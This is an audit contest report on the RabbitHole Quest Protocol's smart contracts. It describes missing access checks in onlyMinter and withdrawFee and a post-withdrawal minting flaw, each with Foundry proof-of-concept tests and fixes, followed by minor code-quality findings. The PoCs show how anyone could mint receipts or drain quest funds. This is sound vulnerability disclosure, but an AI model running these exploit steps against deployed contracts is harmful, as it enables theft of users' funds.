RabbitHole Quest Protocol contest - prestoncodes's results

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L47-L50

Vulnerability details

Impact

Any account can mint receipts and drain all funds from any quest.

Proof of Concept

There is a typo in the onlyMinter modifier in both RabbitHoleReceipt and RabbitHoleTickets contracts. The result of msg.sender == minterAddress is discarded in the onlyMinter modifier, instead of used in determining whether or not the user should be able to call the function.

The current implementation of onlyMinter is as follows:

File: RabbitHoleReceipt.sol

58:		modifier onlyMinter() {
59:			msg.sender == minterAddress;
60:			_;
61:		}

File: RabbitHoleTickets.sol

47:		modifier onlyMinter() {
48:			msg.sender == minterAddress;
49:			_;
50:		}

This is how it can be exploited (using foundry):

function testReceiptUnauthorizedMintErc20() public {
	factory.createQuest(address(erc20), block.timestamp + 2, block.timestamp + 1, 100, 1 ether, "erc20", "1");
	// only the factory should be able to mint
	assertTrue(receipt.minterAddress() == address(factory));
	// this should revert, but doesn't
	receipt.mint(vm.addr(123), "1");
}

function testReceiptUnauthorizedMintErc1155() public {
	factory.createQuest(address(erc1155), block.timestamp + 2, block.timestamp + 1, 100, 1 ether, "erc1155", "1");
	// only the factory should be able to mint
	assertTrue(receipt.minterAddress() == address(factory));
	// this should revert, but doesn't
	receipt.mint(vm.addr(123), "1");
}

function testTicketsUnauthorizedMint() public {
	// only the factory should be able to mint
	assertTrue(tickets.minterAddress() == address(factory));

	// this should revert, but doesn't
	tickets.mint(vm.addr(123), 1, 1, "");
}

This can lead to a loss of protocol funds as a malicious actor can mint many receipts and drain every quest (both ERC20 and ERC1155). Additionally, it allows any address to mint any number of tickets, which will have significant protocol risk.

Tools Used

Vscode, Foundry

Recommended Mitigation Steps

Replace the current implementation of onlyMinter with the following:

File: RabbitHoleReceipt.sol

58:		modifier onlyMinter() {
59:			require(msg.sender == minterAddress, "Unauthorized caller");
60:			_;
61:		}

File: RabbitHoleTickets.sol

47:		modifier onlyMinter() {
48:			require(msg.sender == minterAddress, "Unauthorized caller");
49:			_;
50:		}

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L76-L79 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102-L104

Vulnerability details

Impact

All users can be declined claiming receipts on any ERC20 pool after the quest endTime has passed.

Proof of Concept

The Quest contract has a modifier called onlyAdminWithdrawAfterEnd. Despite having the phrase admin in the name, there are no access control checks. This modifier is used on the function Erc20Quest.withdrawFee. Since the only checks on the function is the aforementioned modifier, the function can be called by anyone multiple times after endTime has passed.

File: Quest.sol

76:		modifier onlyAdminWithdrawAfterEnd() {
77:		    if (block.timestamp < endTime) revert NoWithdrawDuringClaim();
78:		    _;
79:		}

File: Erc20Quest.sol

102:	function withdrawFee() public onlyAdminWithdrawAfterEnd {
103:		IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee());
104:	}

Once endTime has passed, withdrawFee can be called multiple times, moving all funds to protocolFeeRecipient (provided the questFee is above zero). This will result in users not being able to claim receipts. Even if the protocol transfers the funds back into the contract, they can be drained again before any users have the chance to claim.

The exploit is demonstrated below in (using foundry):

function testDrainErc20Quest() public {
	// this exploit only works with a non-zero questFee
	factory.setQuestFee(1_000);
	// quest is created with endTime 20 seconds in the future
	factory.createQuest(address(erc20), block.timestamp + 20, block.timestamp + 10, 10, 1 ether, "erc20", "1");

	// assuming hash and signature are valid
	factory.mintReceipt("1", hash, signature);

	// deposit funds into the quest, and start it
	(address questAddress,,) = factory.quests("1");
	erc20.mint(questAddress, 11 ether); // 11 ether = 10 ether rewards + 1 ether fee
	Erc20Quest(questAddress).start();

	// wait 21 seconds for quest to end
	vm.warp(block.timestamp + 21);

	// attacker can remove funds from quest address
	for (uint256 i = 0; i < 11; i++) {
		// fee is 1 ether, and it is withdrawn 11 times
		Erc20Quest(questAddress).withdrawFee();
	}

	// claiming will revert because all the funds were sent to the protocolFeeRecipient
	Erc20Quest(questAddress).claim();
}

Tools Used

Vscode, Foundry

Recommended Mitigation Steps

The recommended mitigation to this exploit is:

1. Add an access control check to the onlyAdminWithdrawAfterEnd to stop unauthorized callers from withdrawing fees. Note that this is not enough to stop the An example of this could be:

File: Quest.sol

modifier onlyAdminWithdrawAfterEnd() {
	require(msg.sender == owner(), "Unauthorized caller");
	if (block.timestamp < endTime) revert NoWithdrawDuringClaim();
	_;
}

2. Only allow withdrawFee to be called once per quest. An example of this implementation is:

File: Erc20Quest.sol

bool public feesClaimed;

function withdrawFee() public onlyAdminWithdrawAfterEnd {
	require(!feesClaimed, "Fees already claimed");
	feesClaimed = true;
	IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee());
}

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L81-L87 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc1155Quest.sol#L54-L63

Vulnerability details

Impact

Users can find themselves with valid receipts that are unable to claim due to lack of funds in the quest contract.

Proof of Concept

The QuestFactory contract does not put into place any checks regarding the timestamp of minting. This means that a user can obtain a signature to mint a receipt (possibly before the endTime of a specific quest) and mint it after the endTime. It is important to note that after the endTime, the owner of the quest can withdraw unallocated rewards with Quest.withdrawRemainingTokens. For an ERC20Quest, the amount to leave in the contract is calculated as the protocol fee + the amount of tokens needed to pay all existent unclaimed receipts. For an ERC1155Quest, all funds are withdrawn regardless of status.

File Erc20Quest.sol

81:		function withdrawRemainingTokens(address to_) public override onlyOwner {
82:			super.withdrawRemainingTokens(to_);
83:		
84:			uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId;
85:			uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens;
86:			IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens);
87:		}

File Erc1155Quest.sol

54:		function withdrawRemainingTokens(address to_) public override onlyOwner {
55:			super.withdrawRemainingTokens(to_);
56:			IERC1155(rewardToken).safeTransferFrom(
57:				address(this),
58:				to_,
59:				rewardAmountInWeiOrTokenId,
60:				IERC1155(rewardToken).balanceOf(address(this), rewardAmountInWeiOrTokenId),
61:				'0x00'
62:			);
63:		}

If a user mints a receipt for a quest after the quest funds have been withdrawn, there won't be enough funds left in the contract for the user to claim their receipt. An example of this is shown below (using foundry):

function testERC20MintAfterQuestWithdrawn() public {
	// assume questFee is set to zero
	factory.createQuest(address(erc20), block.timestamp + 20, block.timestamp + 10, 10, 1 ether, "erc20", "1");

	// deposit funds into the quest, and start it
	(address questAddress,,) = factory.quests("1");
	erc20.mint(questAddress, 10 ether); // 10 participants * 1 ether reward
	Erc20Quest(questAddress).start();
	
	// wait 21 seconds for quest to end
	vm.warp(block.timestamp + 21);
	// funds are withdrawn
	Erc20Quest(questAddress).withdrawRemainingTokens(address(this));
	
	// after withdrawal, the quest has no more funds
	assertEq(erc20.balanceOf(questAddress), 0);

	// user mints receipt (assume hash and signature are valid)
	factory.mintReceipt("1", hash, signature);

	// this will revert, as there are not enough funds to claim
	Erc20Quest(questAddress).claim();
}

function testERC1155MintAfterQuestWithdrawn() public {
	uint256 id = 1;
	// assume questFee is set to zero
	factory.createQuest(address(erc1155), block.timestamp + 20, block.timestamp + 10, 10, id, "erc1155", "1");

	// deposit funds into the quest, and start it
	(address questAddress,,) = factory.quests("1");
	erc1155.mint(questAddress, id, 10, ""); // 10 participants
	Erc1155Quest(questAddress).start();

	// with an ERC1155 regardless of when the receipt is minted,
	// the owner calling withdrawRemainingTokens before claiming 
	// will result in users not being able to claim

	// user mints receipt (assume hash and signature are valid)
	factory.mintReceipt("1", hash, signature);
	
	// wait 21 seconds for quest to end
	vm.warp(block.timestamp + 21);
	// funds are withdrawn
	Erc1155Quest(questAddress).withdrawRemainingTokens(address(this));
	
	// after withdrawal, the quest has no more funds
	assertEq(erc1155.balanceOf(questAddress, id), 0);

	// this will revert, as there are not enough funds to claim
	Erc1155Quest(questAddress).claim();
}

Tools Used

Vscode, Foundry

Recommended Mitigation Steps

The recommended mitigation for this finding is to check if the endTime has passed and revert if it has in QuestFactory.mintReceipt. An example of this is as follows:

require(Quest(quests[questId_].questAddress).endTime() > block.timestamp, "Quest closed");

Additionally, in ERC1155Quest, instead of transferring out the full balance when withdrawing, only the unallocated rewards should be transferred out.

Non Critical Issues

[NC-1] Avoid repeated logic

Repeated code/logic makes maintainability harder, increases the total deployment size, and makes the code harder to read. Consider moving some of the repeated logic to the enclosing scope.

File: QuestFactory.sol#L72-#L134

	if (keccak256(abi.encodePacked(contractType_)) == keccak256(abi.encodePacked('erc20'))) {
		if (rewardAllowlist[rewardTokenAddress_] == false) revert RewardNotAllowed();

		Erc20Quest newQuest = new Erc20Quest(
			rewardTokenAddress_,
			endTime_,
			startTime_,
			totalParticipants_,
			rewardAmountOrTokenId_,
			questId_,
			address(rabbitholeReceiptContract),
			questFee,
			protocolFeeRecipient
		);

		emit QuestCreated(
			msg.sender,
			address(newQuest),
			questId_,
			contractType_,
			rewardTokenAddress_,
			endTime_,
			startTime_,
			totalParticipants_,
			rewardAmountOrTokenId_
		);
		quests[questId_].questAddress = address(newQuest);
		quests[questId_].totalParticipants = totalParticipants_;
		newQuest.transferOwnership(msg.sender);
		++questIdCount;
		return address(newQuest);
	}

	if (keccak256(abi.encodePacked(contractType_)) == keccak256(abi.encodePacked('erc1155'))) {
		if (msg.sender != owner()) revert OnlyOwnerCanCreate1155Quest();

		Erc1155Quest newQuest = new Erc1155Quest(
			rewardTokenAddress_,
			endTime_,
			startTime_,
			totalParticipants_,
			rewardAmountOrTokenId_,
			questId_,
			address(rabbitholeReceiptContract)
		);

		emit QuestCreated(
			msg.sender,
			address(newQuest),
			questId_,
			contractType_,
			rewardTokenAddress_,
			endTime_,
			startTime_,
			totalParticipants_,
			rewardAmountOrTokenId_
		);
		quests[questId_].questAddress = address(newQuest);
		quests[questId_].totalParticipants = totalParticipants_;
		newQuest.transferOwnership(msg.sender);
		++questIdCount;
		return address(newQuest);
	}

[NC-2] State/configuration changes without relevant events

When changing state/configuration, it is best to emit events that accurately reflect the changes.

<i>16 Instances</i>

File: Quest.sol

51:		isPaused = false;

52:		hasStarted = true;

58:		isPaused = true;

64:		isPaused = false;

71: 	claimedList[tokenIds_[i]] = true;
  
115: 	redeemedTokens += redeemableTokenCount;

File: QuestFactory.sol

160: 	claimSignerAddress = claimSignerAddress_;

167:    protocolFeeRecipient = protocolFeeRecipient_;

173:    rabbitholeReceiptContract = RabbitHoleReceipt(rabbitholeReceiptContract_);

180: 	rewardAllowlist[rewardAddress_] = allowed_;

188: 	questFee = questFee_;

File: RabbitHoleReceipt.sol

66: 	ReceiptRendererContract = ReceiptRenderer(receiptRenderer_);

72: 	royaltyRecipient = royaltyRecipient_;

78: 	QuestFactoryContract = IQuestFactory(questFactory_);

File: RabbitHoleTickets.sol

55: 	TicketRendererContract = TicketRenderer(ticketRenderer_);

61: 	royaltyRecipient = royaltyRecipient_;

[NC-3] Avoid using non standard versions of common functionality

Common functionality such as pausing contracts, and validating ethereum signed messages have battle tested solutions that should be used in favor of in-house solutions.

File: Quest.sol

20:		bool public isPaused;

57:		function pause() public onlyOwner onlyStarted {
58:			isPaused = true;
59:		}

63:		function unPause() public onlyOwner onlyStarted {
64:			isPaused = false;
65:		}

This could be replaced with OpenZeppelin's Pauseable contract.

File: QuestFactory.sol

211: 	bytes32 messageDigest = keccak256(abi.encodePacked('\x19Ethereum Signed Message:\n32', hash_));

This could be replaced with OpenZeppelin's ECDSAUpgradeable.toEthSignedMessageHash function.

[NC-4] Use OpenZeppelin recommended proxy constructor initialization

According to the OpenZeppelin guide to writing upgradable contracts, the _disableInitializers() function should be used to disable initialization of the implementation contract.

A fix for this would be to replace:

File: QuestFactory.sol

34:		/// @custom:oz-upgrades-unsafe-allow constructor
35:		constructor() initializer {}

with this:

File: QuestFactory.sol

34:		/// @custom:oz-upgrades-unsafe-allow constructor
35:		constructor() {
36:			_disableInitializers();
37:		}

[NC-5] Message hash unnecessarily passed as parameter

In the QuestFactory.mintReceipt a hash and signature are passed as parameters. The hash must be equal to keccak256(abi.encodePacked(msg.sender, questId_)) or the function will revert. However, since a signer is recovered using the signature and hash, it will revert if an invalid signature-hash pair is passed in. Therefore, it is safe to omit the hash from the parameters, and calculate it in the function.

A fix for this would be to replace:

File: QuestFactory.sol

219:	function mintReceipt(string memory questId_, bytes32 hash_, bytes memory signature_) public {

222:	if (keccak256(abi.encodePacked(msg.sender, questId_)) != hash_) revert InvalidHash();
223:	if (recoverSigner(hash_, signature_) != claimSignerAddress) revert AddressNotSigned();

with this:

File: QuestFactory.sol

219:	function mintReceipt(string memory questId_, bytes memory signature_) public {

222:	bytes32 hash_ = keccak256(abi.encodePacked(msg.sender, questId_));
223:	if (recoverSigner(hash_, signature_) != claimSignerAddress) revert AddressNotSigned();

[NC-6] Variable names should accurately reflect the data they represent

<i>2 Instances</i>

This should be replaced either rewardAmount, or tokenId depending on whether the contract is an Erc20Quest or Erc1155Quest. The variable should be stored in the respective contract, instead of the abstract Quest contract.

File Quest.sol

18:		uint256 public immutable rewardAmountInWeiOrTokenId;

This variable reflects the balance of the claimingAddress_, not the balance of the msg.sender.

File RabbitHoleReceipt.sol

113:	uint msgSenderBalance = balanceOf(claimingAddress_);

[NC-7] Boolean literals should not be used for comparisons

Boolean constants can be used directly and do not need to be compare to true or false.

File Quest.sol

136:	return claimedList[tokenId_] == true;

File QuestFactory.sol

73:		if (rewardAllowlist[rewardTokenAddress_] == false) revert RewardNotAllowed();

221:	if (quests[questId_].addressMinted[msg.sender] == true) revert AddressAlreadyMinted();

[NC-8] Variables should confirm to Solidity naming conventions

Solidity defines a naming convention that should be followed.

File: RabbitHoleReceipt.sol

35: 	ReceiptRenderer public ReceiptRendererContract;

36: 	IQuestFactory public QuestFactoryContract;

File: RabbitHoleTickets.sol

25: 	TicketRenderer public TicketRendererContract;

Low Issues

[L-1] Add checks on constructor arguments

Since fees are in basis points, fees need to be constrained from 0 to 10,000.

File: RabbitHoleReceipt.sol

54: 	royaltyFee = royaltyFee_;

99: 	royaltyFee = royaltyFee_;

File: RabbitHoleTickets.sol

43: 	royaltyFee = royaltyFee_;

67: 	royaltyFee = royaltyFee_;

File: Erc20Quest.sol

38: 	questFee = questFee_;

Before setting fees, a check should be made and the function should revert if the new fee is greater than 10,000. For example: require(fee <= 10_000, "Fee too high");.

[L-2] Quest ID count is incorrect

The questIdCount variable is initialized in the constructor to 1, before any quests have been created. This means it is always 1 higher than the actual number of quests.

<i>1 Instance</i>

File: QuestFactory.sol

49: 	questIdCount = 1;

A fix for this would be to remove this line, which would leave questIdCount uninitialized with a value of 0.

[L-3] Data passed in ERC1155.safeTransferFrom is invalid

In solidity, zero bytes of data can be represented as "". While the data "0x00" appears to be zero bytes, it is actually UTF-8 encoded as 2 bytes of data.

<i>2 Instances</i>

File: Erc1155Quest.sol

42:		IERC1155(rewardToken).safeTransferFrom(address(this), msg.sender, rewardAmountInWeiOrTokenId, amount_, '0x00');


61: 	'0x00'

A fix for this would be to replace '0x00' with ''.

[L-4] Unnecessary combination of access control contracts

In the QuestFactory contract, both OwnableUpgradeable and AccessControlUpgradable are used. It is ambiguous whether admin only functions should only be callable by owner(), by those with the DEFAULT_ADMIN_ROLE, or some other criteria.

Currently the only role other than the DEFAULT_ADMIN_ROLE is the CREATE_QUEST_ROLE (#L17). Instead of inheriting AccessControlUpgradable for this one role, it would be more size efficient and less ambiguous to have mapping of addresses to whether they can create quests. A possible implementation is as follows:

File: QuestFactory.sol

contract QuestFactory /* ----- */ {
	/* ----- */

	mapping(address => bool) public isQuestCreator;

	event ChangeQuestCreator(address indexed account, bool indexed isQuestCreator);

	modifier onlyQuestCreator {
		require(isQuestCreator[msg.sender], "Unauthorized caller");
		_;
	}

	function changeCreateQuestRole(address account, bool isQuestCreator_) public onlyOwner {
		isQuestCreator[account] = isQuestCreator_;
		emit ChangeQuestCreator(account, isQuestCreator_);
	}

	/* ----- */
}

[L-5] Function grows increasingly expensive as users obtain tokens

In the RabbitHoleReceipt.getOwnedTokenIdsOfQuest, an iteration is performed over every receipt the user holds (claimed or unclaimed). This could grow to be very expensive as users accrue many receipts.

File RabbitHoleReceipt.sol#L112-#L135

function getOwnedTokenIdsOfQuest(
	string memory questId_,
	address claimingAddress_
) public view returns (uint[] memory) {
	uint msgSenderBalance = balanceOf(claimingAddress_);
	uint[] memory tokenIdsForQuest = new uint[](msgSenderBalance);
	uint foundTokens = 0;

	for (uint i = 0; i < msgSenderBalance; i++) { // iteration over all tokens
		uint tokenId = tokenOfOwnerByIndex(claimingAddress_, i);
		if (keccak256(bytes(questIdForTokenId[tokenId])) == keccak256(bytes(questId_))) {
			tokenIdsForQuest[i] = tokenId;
			foundTokens++;
		}
	}

	uint[] memory filteredTokens = new uint[](foundTokens);
	uint filterTokensIndexTracker = 0;

	for (uint i = 0; i < msgSenderBalance; i++) { // iteration over all unclaimed tokens
		if (tokenIdsForQuest[i] > 0) {
			filteredTokens[filterTokensIndexTracker] = tokenIdsForQuest[i];
			filterTokensIndexTracker++;
		}
	}
	return filteredTokens;
}

A solution to this is to allow tokens to be claimed by the user directly passing in an array of token ID's that would be calculated off chain. This would remove the requirement for ERC721EnumerableUpgradeable to be used by reducing transfer gas cost and contract size.

[L-6] Function names should accurately reflect their use case

The function Quest.withdrawRemainingTokens only performs access control. The function name is misleading. It should be renamed to better reflect its purpose. For example: Quest.validateWithdrawRemainingTokens.

File: Quest.sol

150:	function withdrawRemainingTokens(address to_) public virtual onlyOwner onlyAdminWithdrawAfterEnd {}